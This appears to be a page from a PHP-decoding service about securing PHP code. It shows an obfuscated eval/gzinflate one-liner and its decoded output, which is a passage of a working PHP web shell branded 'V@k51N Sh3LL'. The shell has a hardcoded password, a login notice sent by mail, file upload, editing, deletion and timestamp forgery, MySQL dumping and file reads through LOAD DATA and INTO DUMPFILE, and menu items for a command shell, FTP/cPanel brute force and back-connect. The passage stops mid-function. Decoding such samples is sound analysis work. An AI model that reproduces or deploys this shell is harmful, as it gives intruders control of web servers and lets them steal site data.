Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\..

Decoded Output download

?><?php
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)) . '/');
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0);
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
@set_time_limit(0);
foreach (array('_GET', '_POST') as $_request) {
    foreach ($$_request as $_key => $_value) {
        if ($_key{0} != '_') {
            if (IS_GPC) {
                $_value = s_array($_value);
            }
            $$_key = $_value;
        }
    }
}
/*=================  Info Login  ================*/
$admin = array();
$admin['check'] = true;
$admin['pass'] = 'oprek'; // Password login
$admin['cookiepre'] = '';
$admin['cookiedomain'] = '';
$admin['cookiepath'] = '/';
$admin['cookielife'] = 86400;
/*===================== End =====================*/
if ($charset == 'utf8') {
    header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
    header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
    header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
    header("content-Type: text/html; charset=iso-8859-2");
}
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
/*===================== Login =====================*/
if ($action == "logout") {
    scookie('vbapass', '', -86400 * 365);
    p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
    p('<body background=black>');
    exit;
}
if ($admin['check']) {
    if ($doing == 'login') {
        if ($admin['pass'] == $password) {
            scookie('vbapass', $password);
            $time_shell = "" . date("d/m/Y - H:i:s") . "";
            $ip_remote = $_SERVER["REMOTE_ADDR"];
            $from_shellcode = 'shell@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
            $to_email = '';
            $server_mail = "" . gethostbyname($_SERVER['SERVER_NAME']) . "  - " . $_SERVER['HTTP_HOST'] . "";
            $linkcr = "Link: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Excuting: $ip_remote - Time: $time_shell";
            $header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
            @mail($to_email, $server_mail, $linkcr, $header);
            p('<meta http-equiv="refresh" content="2;URL=' . $self . '">');
            p('<body bgcolor=black>
<BR><BR><div align=center><font color=#4ff707 face=tahoma size=5>V@k51N Sh3LL<BR><img src=http://i1272.photobucket.com/albums/y385/gerald_s48/v_zpsb1b1fbb2.jpg></div>');
            exit;
        } else {
            loginpage();
        }
    }
    if ($_COOKIE['vbapass']) {
        if ($_COOKIE['vbapass'] != $admin['pass']) {
            loginpage();
        }
    } else {
        loginpage();
    }
}
/*===================== Login =====================*/
$errmsg = '';
if ($action == 'phpinfo') {
    if (IS_PHPINFO) {
        phpinfo();
    } else {
        $errmsg = 'phpinfo() function has non-permissible';
    }
}
if ($doing == 'downfile' && $thefile) {
    if (!@file_exists($thefile)) {
        $errmsg = 'The file you want Downloadable was nonexistent';
    } else {
        $fileinfo = pathinfo($thefile);
        header('Content-type: application/x-' . $fileinfo['extension']);
        header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
        header('Content-Length: ' . filesize($thefile));
        @readfile($thefile);
        exit;
    }
}
if ($doing == 'backupmysql' && !$saveasfile) {
    dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    $table = array_flip($table);
    $result = q("SHOW tables");
    if (!$result) p('<h2>' . mysql_error() . '</h2>');
    $filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
    header('Content-type: application/unknown');
    header('Content-Disposition: attachment; filename=' . $filename);
    $mysqldata = '';
    while ($currow = mysql_fetch_array($result)) {
        if (isset($table[$currow[0]])) {
            $mysqldata.= sqldumptable($currow[0]);
        }
    }
    mysql_close();
    exit;
}
// Mysql
if ($doing == 'mysqldown') {
    if (!$dbname) {
        $errmsg = 'Please input dbname';
    } else {
        dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
        if (!file_exists($mysqldlfile)) {
            $errmsg = 'The file you want Downloadable was nonexistent';
        } else {
            $result = q("select load_file('$mysqldlfile');");
            if (!$result) {
                q("DROP TABLE IF EXISTS tmp_angel;");
                q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
                //Download SQL
                q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
                $result = q("select content from tmp_angel");
                q("DROP TABLE tmp_angel");
            }
            $row = @mysql_fetch_array($result);
            if (!$row) {
                $errmsg = 'Load file failed ' . mysql_error();
            } else {
                $fileinfo = pathinfo($mysqldlfile);
                header('Content-type: application/x-' . $fileinfo['extension']);
                header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
                header("Accept-Length: " . strlen($row[0]));
                echo $row[0];
                exit;
            }
        }
    }
}
?>
<html>
<head><link rel="SHORTCUT ICON" href="http://i1272.photobucket.com/albums/y385/gerald_s48/v_zpsb1b1fbb2.jpg">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title><?php echo str_replace('.', '', 'V@k51N Sh3LL'); ?></title>
<style type="text/css">
body,td{font: 10pt Tahoma;color:#02fc0b;line-height: 16px;}

a {color: #05fc25;text-decoration:none;}
a:hover{color: #f00;text-decoration:underline;}
.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#000000;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#000000;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#111111;padding:5px 10px 5px 5px;}
.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#000000;padding:5px 10px 5px 5px;}
.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#000000;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#000000;padding:5px 10px 5px 5px;font-weight:bold;}
.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#000000;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#4224d6;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
input, textarea, button
{
	font-size: 9pt;
	color: #05f90e;
	font-family: verdana, sans-serif;
	background-color: #000000;
	border-left: 1px solid #74A202;
	border-top: 1px solid #74A202;
	border-right: 1px solid #74A202;
	border-bottom: 1px solid #74A202;
}
select
{
	font-size: 8pt;
	font-weight: normal;
	color: #ccc;
	font-family: verdana, sans-serif;
	background-color: #202020;
}

</style>
<script type="text/javascript">
function CheckAll(form) {
	for(var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
		if (e.name != 'chkall')
		e.checked = form.chkall.checked;
    }
}
function $(id) {
	return document.getElementById(id);
}
function goaction(act){
	$('goaction').action.value=act;
	$('goaction').submit();
}
</script>
</head>
<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://www.club-h.co.cc/photo.jpg>


<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
				<table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
					<tr>
			
				  </div>
				</td>
					</tr>
				</table>
			 </div>
 <script>
 var ld=(document.all);
  var ns4=document.layers;
 var ns6=document.getElementById&&!document.all;
 var ie4=document.all;
  if (ns4)
 	ld=document.loading;
 else if (ns6)
 	ld=document.getElementById("Wait Please For Inj3ct0r Shell loading").style;
 else if (ie4)
 	ld=document.all.loading.style;
  function init()
 {
 if(ns4){ld.visibility="hidden";}
 else if (ns6||ie4) ld.display="none";
 }
 </script>




<table width="100%" border="0" cellpadding="0" cellspacing="0">
	<tr class="head_small">
		<td  width=100%>
		<table width=100%><tr class="head_small"><td  width=86px><a title="Powered by V@k51N" href="<?php $self; ?>"><img src="http://i1272.photobucket.com/albums/y385/gerald_s48/v_zpsb1b1fbb2.jpg" height=180 border=0></a></td><td>
		<center><div style="font-size:40px;font-weight:bold;font-style:normal;color:#468100;text-decoration:none;text-shadow:#09fd02 3px 3px  3px;font-variant:small-caps;">[-- V@k51N Sh3LL --]</div></center><br>
		<span style="float:left;"> <?php $software = getenv("SERVER_SOFTWARE"); echo "Software: <b>" . $software . "</b>"; ?><br />

		<?php
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
$curl_on = @function_exists('curl_version');
$mysql_on = @function_exists('mysql_connect');
$mssql_on = @function_exists('mssql_connect');
$pg_on = @function_exists('pg_connect');
$ora_on = @function_exists('ocilogon');
echo (($safe_mode) ? ("Safe Mod: <b><font color=021ffc>ON</font></b> - ") : ("Safe m0de: <b><font color=red>OFF</font></b>  -"));
echo "pHp V3rSi0n: <b><font color=white>" . @phpversion() . "</font></b> - ";
echo "CurL: " . (($curl_on) ? ("<b><font color=021ffc>ON</font></b> - ") : ("<b><font color=red>OFF</font></b> - "));
echo "MysqL: <b>";
$mysql_on = @function_exists('mysql_connect');
if ($mysql_on) {
    echo "<font color=021ffc>ON</font></b> - ";
} else {
    echo "<font color=red>OFF</font></b> - ";
}
echo "MsSqL: <b>";
$mssql_on = @function_exists('mssql_connect');
if ($mssql_on) {
    echo "<font color=021ffc>ON</font></b> - ";
} else {
    echo "<font color=red>OFF</font></b> - ";
}
echo "PostgreSql: <b>";
$pg_on = @function_exists('pg_connect');
if ($pg_on) {
    echo "<font color=021ffc>ON</font></b> - ";
} else {
    echo "<font color=red>OFF</font></b> - ";
}
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if ($ora_on) {
    echo "<font color=021ffc>ON</font></b>";
} else {
    echo "<font color=red>OFF</font></b><BR>";
}
echo "Disable functions : <b>";
if ('' == ($df = @ini_get('disable_functions'))) {
    echo "<font color=021ffc>NONE</font></b><BR>";
} else {
    echo "<font color=red>$df</font></b><BR>";
}
echo "System OS: <b>" . @substr(@php_uname(), 0, 120) . "</font></b><br>";
echo "ID: <b>" . @getmyuid() . "(" . @get_current_user() . ") - uid=" . @getmyuid() . " (" . @get_current_user() . ") gid=" . @getmygid() . "(" . @get_current_user() . ")</font></b><br>";
echo "Server ip : <b><font color=red>".$server_ip."</font></b>";
?>

		</td></tr></table></td>
	</tr>
	<tr class="alt1">
		<td  width=10%><span style="float:left;">Y0uR IP: <?php echo "<font color=fdfdfd>" . $_SERVER['REMOTE_ADDR'] . "</font>"; ?> </span>   <br />
<br />

                        <a href="javascript:goaction('file');">H0me</a> |
			<a href="javascript:goaction('sqladmin');">MySqL Dump Database</a> |
			<a href="javascript:goaction('sqlfile');">MySql Edit0r</a> |
			<a href="javascript:goaction('shell');">Command Sh3ll</a> 
			<?php if (!IS_WIN) { ?> | <a href="javascript:goaction('brute');">Brute Ftp & Cpanel</a> <?php
} ?>
			<?php if (!IS_WIN) { ?> | <a href="javascript:goaction('backconnect');">back Connect</a><?php
} ?>
                      | <a href="javascript:open('http://www.1337day.com');">inj3ct0r Team WebSite</a>
                      | <a href="javascript:open('http://1337day.com/submit');">Submit Exploit</a>
                      | <a href="javascript:goaction('logout');">Log0ut</a>
		</td>
	</tr>
</table>
<table width="100%" border="0" cellpadding="5" cellspacing="0"><tr><td>
<?php
formhead(array('name' => 'goaction'));
makehide('action');
formfoot();
$errmsg && m($errmsg);
// Dir function
!$dir && $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
    $dir = $dir . '/';
}
$uedir = ue($dir);
if (!$action || $action == 'file') {
    // Non-writeable
    $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Chm0d dir';
    // Delete dir
    if ($doing == 'deldir' && $thefile) {
        if (!file_exists($thefile)) {
            m($thefile . ' directory does not exist');
        } else {
            m('Directory delete ' . (deltree($thefile) ? basename($thefile) . ' success' : 'Failed'));
        }
    }
    // Create new dir
    elseif ($newdirname) {
        $mkdirs = $nowpath . $newdirname;
        if (file_exists($mkdirs)) {
            m('Directory has already existed');
        } else {
            m('Direct0rt Created ' . (@mkdir($mkdirs, 0777) ? 'success' : 'failed'));
            @chmod($mkdirs, 0777);
        }
    }
    // Upload file
    elseif ($doupfile) {
        m('File Upl0ad ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? 'success' : 'FaileD'));
    }
    // Edit file
    elseif ($editfilename && $filecontent) {
        $fp = @fopen($editfilename, 'w');
        m('Save File ' . (@fwrite($fp, $filecontent) ? 'success' : 'Failed'));
        @fclose($fp);
    }
    // Modify
    elseif ($pfile && $newperm) {
        if (!file_exists($pfile)) {
            m('The original file does not exist');
        } else {
            $newperm = base_convert($newperm, 8, 10);
            m('Modify File attributes ' . (@chmod($pfile, $newperm) ? 'success' : 'Failed'));
        }
    }
    // Rename
    elseif ($oldname && $newfilename) {
        $nname = $nowpath . $newfilename;
        if (file_exists($nname) || !file_exists($oldname)) {
            m($nname . ' has already existed or original file does not exist');
        } else {
            m(basename($oldname) . ' renamed ' . basename($nname) . (@rename($oldname, $nname) ? ' success' : 'failed'));
        }
    }
    // Copu
    elseif ($sname && $tofile) {
        if (file_exists($tofile) || !file_exists($sname)) {
            m('The goal file has already existed or original file does not exist');
        } else {
            m(basename($tofile) . ' copied ' . (@copy($sname, $tofile) ? basename($tofile) . ' success' : 'failed'));
        }
    }
    // File exit
    elseif ($curfile && $tarfile) {
        if (!@file_exists($curfile) || !@file_exists($tarfile)) {
            m('The goal file has already existed or original file does not exist');
        } else {
            $time = @filemtime($tarfile);
            m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
        }
    }
    // Date
    elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
        if (!@file_exists($curfile)) {
            m(basename($curfile) . ' does not exist');
        } else {
            $time = strtotime("$year-$month-$day $hour:$minute:$second");
            m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
        }
    }
    // Download
    elseif ($doing == 'downrar') {
        if ($dl) {
            $dfiles = '';
            foreach ($dl as $filepath => $value) {
                $dfiles.= $filepath . ',';
            }
            $dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
            $dl = explode(',', $dfiles);
            $zip = new PHPZip($dl);
            $code = $zip->out;
            header('Content-type: application/octet-stream');
            header('Accept-Ranges: bytes');
            header('Accept-Length: ' . strlen($code));
            header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_Files.tar.gz');
            echo $code;
            exit;
        } else {
            m('First select file');
        }
    }
    // Delete file
    elseif ($doing == 'delfiles') {
        if ($dl) {
            $dfiles = '';
            $succ = $fail = 0;
            foreach ($dl as $filepath => $value) {
                if (@unlink($filepath)) {
                    $succ++;
                } else {
                    $fail++;
                }
            }
            m('Deleted file have finished??choose ' . count($dl) . ' success ' . $succ . ' fail ' . $fail);
        } else {
            m('First select file');
        }
    }
    // Function Newdir
    formhead(array('name' => 'createdir'));
    makehide('newdirname');
    makehide('dir', $nowpath);
    formfoot();
    formhead(array('name' => 'fileperm'));
    makehide('newperm');
    makehide('pfile');
    makehide('dir', $nowpath);
    formfoot();
    formhead(array('name' => 'copyfile'));
    makehide('sname');
    makehide('tofile');
    makehide('dir', $nowpath);
    formfoot();
    formhead(array('name' => 'rename'));
    makehide('oldname');
    makehide('newfilename');
    makehide('dir', $nowpath);
    formfoot();
    formhead(array('name' => 'fileopform'));
    makehide('action');
    makehide('opfile');
    makehide('dir');
    formfoot();
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  <form action="" method="post" id="godir" name="godir">
  <tr>
    <td nowrap>(<?php echo $dir_writeable; ?>, <?php echo getChmod($nowpath); ?>)</td>
	<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath; ?>" type="text" style="width:100%;margin:0 8px;"></td>
    <td nowrap><input class="bt" value="G0" type="submit"></td>
  </tr>
  </form>
</table>
<script type="text/javascript">
function createdir(){
	var newdirname;
	newdirname = prompt('Name Please:', '');
	if (!newdirname) return;
	$('createdir').newdirname.value=newdirname;
	$('createdir').submit();
}
function fileperm(pfile){
	var newperm;
	newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
	if (!newperm) return;
	$('fileperm').newperm.value=newperm;
	$('fileperm').pfile.value=pfile;
	$('fileperm').submit();
}
function copyfile(sname){
	var tofile;
	tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
	if (!tofile) return;
	$('copyfile').tofile.value=tofile;
	$('copyfile').sname.value=sname;
	$('copyfile').submit();
}
function rename(oldname){
	var newfilename;
	newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
	if (!newfilename) return;
	$('rename').newfilename.value=newfilename;
	$('rename').oldname.value=oldname;
	$('rename').submit();
}
function dofile(doing,thefile,m){
	if (m && !confirm(m)) {
		return;
	}
	$('filelist').doing.value=doing;
	if (thefile){
		$('filelist').thefile.value=thefile;
	}
	$('filelist').submit();
}
function createfile(nowpath){
	var filename;
	filename = prompt('Name Please:', '');
	if (!filename) return;
	opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
	$('fileopform').action.value=action;
	$('fileopform').opfile.value=opfile;
	$('fileopform').dir.value=dir;
	$('fileopform').submit();
}
function godir(dir,view_writable){
	if (view_writable) {
		$('godir').view_writable.value=1;
	}
	$('godir').dir.value=dir;
	$('godir').submit();
}
</script>
  <?php
    tbhead();
    p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
    p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upl0ad" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
    if ($view_writable) {
    } else {
    }
    p('  <a href="javascript:createdir();">Create Direct0ry</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">Create File</a>');
    if (IS_WIN && IS_COM) {
        $obj = new COM('scripting.filesystemobject');
        if ($obj && is_object($obj)) {
            $DriveTypeDB = array(0 => 'Unknow', 1 => 'Removable', 2 => 'Fixed', 3 => 'Network', 4 => 'CDRom', 5 => 'RAM Disk');
            foreach ($obj->Drives as $drive) {
                if ($drive->DriveType == 2) {
                    p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . '&#13;Free:' . sizecount($drive->FreeSpace) . '&#13;Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
                } else {
                    p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
                }
            }
        }
    }
    p('</td></tr></form>');
    p('<tr class="head"><td>&nbsp;</td><td>File Name</td><td width="16%">Last M0dified</td><td width="10%">Size</td><td width="20%">Chm0d / PermS</td><td width="22%">Acti0n</td></tr>');
    // Get path
    $dirdata = array();
    $filedata = array();
    if ($view_writable) {
        $dirdata = GetList($nowpath);
    } else {
        // Open dir
        $dirs = @opendir($dir);
        while ($file = @readdir($dirs)) {
            $filepath = $nowpath . $file;
            if (@is_dir($filepath)) {
                $dirdb['filename'] = $file;
                $dirdb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
                $dirdb['dirchmod'] = getChmod($filepath);
                $dirdb['dirperm'] = getPerms($filepath);
                $dirdb['fileowner'] = getUser($filepath);
                $dirdb['dirlink'] = $nowpath;
                $dirdb['server_link'] = $filepath;
                $dirdb['client_link'] = ue($filepath);
                $dirdata[] = $dirdb;
            } else {
                $filedb['filename'] = $file;
                $filedb['size'] = sizecount(@filesize($filepath));
                $filedb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
                $filedb['filechmod'] = getChmod($filepath);
                $filedb['fileperm'] = getPerms($filepath);
                $filedb['fileowner'] = getUser($filepath);
                $filedb['dirlink'] = $nowpath;
                $filedb['server_link'] = $filepath;
                $filedb['client_link'] = ue($filepath);
                $filedata[] = $filedb;
            }
        } // while
        unset($dirdb);
        unset($filedb);
        @closedir($dirs);
    }
    @sort($dirdata);
    @sort($filedata);
    $dir_i = '0';
    foreach ($dirdata as $key => $dirdb) {
        if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
            $thisbg = bg();
            p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
            p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
            p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
            p('<td nowrap>' . $dirdb['mtime'] . '</td>');
            p('<td nowrap>--</td>');
            p('<td nowrap>');
            p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
            p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
            p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'Are you sure will delete ' . $dirdb['filename'] . '? \\n\\n\')">DeLete</a> | <a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">Rename</a></td>');
            p('</tr>');
            $dir_i++;
        } else {
            if ($dirdb['filename'] == '..') {
                p('<tr class=fout>');
                p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Back To Directory</a></td>');
                p('</tr>');
            }
        }
    }
    p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
    p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
    makehide('action', 'file');
    makehide('thefile');
    makehide('doing');
    makehide('dir', $nowpath);
    $file_i = '0';
    foreach ($filedata as $key => $filedb) {
        if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
            $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
            $thisbg = bg();
            p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
            p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
            p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
            p('<td nowrap>' . $filedb['mtime'] . '</td>');
            p('<td nowrap>' . $filedb['size'] . '</td>');
            p('<td nowrap>');
            p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
            p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
            p('<td nowrap>');
            p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">Downl0ad</a> | ');
            p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">C0py</a> | ');
            p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Edit</a> | ');
            p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">Rename</a> | ');
            p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Tim3</a>');
            p('</td></tr>');
            $file_i++;
        }
    }
    p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packigg Downl0ad Selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete Selected</a></td><td colspan="4" align="right">' . $dir_i . ' DIR / ' . $file_i . ' FILES</td></tr>');
    p('</form></table>');
} // end dir
elseif ($action == 'sqlfile') {
    if ($doing == "mysqlupload") {
        $file = $_FILES['uploadfile'];
        $filename = $file['tmp_name'];
        if (file_exists($savepath)) {
            m('The goal file has already existed');
        } else {
            if (!$filename) {
                m('Please choose a file');
            } else {
                $fp = @fopen($filename, 'r');
                $contents = @fread($fp, filesize($filename));
                @fclose($fp);
                $contents = bin2hex($contents);
                if (!$upname) $upname = $file['name'];
                dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
                $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
                m($result ? 'Upload success' : 'Upload has failed: ' . mysql_error());
            }
        }
    }
?>
<script type="text/javascript">
function mysqlfile(doing){
	if(!doing) return;
	$('doing').value=doing;
	$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
	$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
	$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
	$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
	$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
	$('mysqlfile').charset.value=$('dbinfo').charset.value;
	$('mysqlfile').submit();
}
</script>
<?php
    !$dbhost && $dbhost = '1337day.com';
    !$dbuser && $dbuser = 'root';
    !$dbport && $dbport = '3306';
    $charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
    formhead(array('title' => 'MySql Inf0rmation', 'name' => 'dbinfo'));
    makehide('action', 'sqlfile');
    p('<p>');
    p('DBHost:');
    makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
    p(':');
    makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
    p('DBUser:');
    makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
    p('DBPass:');
    makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
    p('DBName:');
    makeinput(array('name' => 'dbname', 'size' => 15, 'value' => $dbname));
    p('DBCharset:');
    makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
    p('</p>');
    formfoot();
    p('<form action="' . $self . '" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
    p('<h2>Upl0ad File</h2>');
    p('<p><b></b></p>');
    p('<p>SaVe Path: <input class="input" name="savepath" size="45" type="text" /> Ch00s3 Fil3: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upl0aD</a></p>');
    p('<h2>Downl0ad File</h2>');
    p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Downl0ad</a></p>');
    makehide('dbhost');
    makehide('dbport');
    makehide('dbuser');
    makehide('dbpass');
    makehide('dbname');
    makehide('charset');
    makehide('doing');
    makehide('action', 'sqlfile');
    p('</form>');
} elseif ($action == 'sqladmin') {
    !$dbhost && $dbhost = 'localhost';
    !$dbuser && $dbuser = 'inj3ct0r_root';
    !$dbport && $dbport = '3306';
    $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
    if (isset($dbhost)) {
        $dbform.= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
    }
    if (isset($dbuser)) {
        $dbform.= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
    }
    if (isset($dbpass)) {
        $dbform.= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
    }
    if (isset($dbport)) {
        $dbform.= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
    }
    if (isset($dbname)) {
        $dbform.= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
    }
    if (isset($charset)) {
        $dbform.= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
    }
    if ($doing == 'backupmysql' && $saveasfile) {
        if (!$table) {
            m('Please choose the table');
        } else {
            dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
            $table = array_flip($table);
            $fp = @fopen($path, 'w');
            if ($fp) {
                $result = q('SHOW tables');
                if (!$result) p('<h2>' . mysql_error() . '</h2>');
                $mysqldata = '';
                while ($currow = mysql_fetch_array($result)) {
                    if (isset($table[$currow[0]])) {
                        sqldumptable($currow[0], $fp);
                    }
                }
                fclose($fp);
                $fileurl = str_replace(SA_ROOT, '', $path);
                m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
                mysql_close();
            } else {
                m('Backup failed');
            }
        }
    }
    if ($insert && $insertsql) {
        $keystr = $valstr = $tmp = '';
        foreach ($insertsql as $key => $val) {
            if ($val) {
                $keystr.= $tmp . $key;
                $valstr.= $tmp . "'" . addslashes($val) . "'";
                $tmp = ',';
            }
        }
        if ($keystr && $valstr) {
            dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
            m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
        }
    }
    if ($update && $insertsql && $base64) {
        $valstr = $tmp = '';
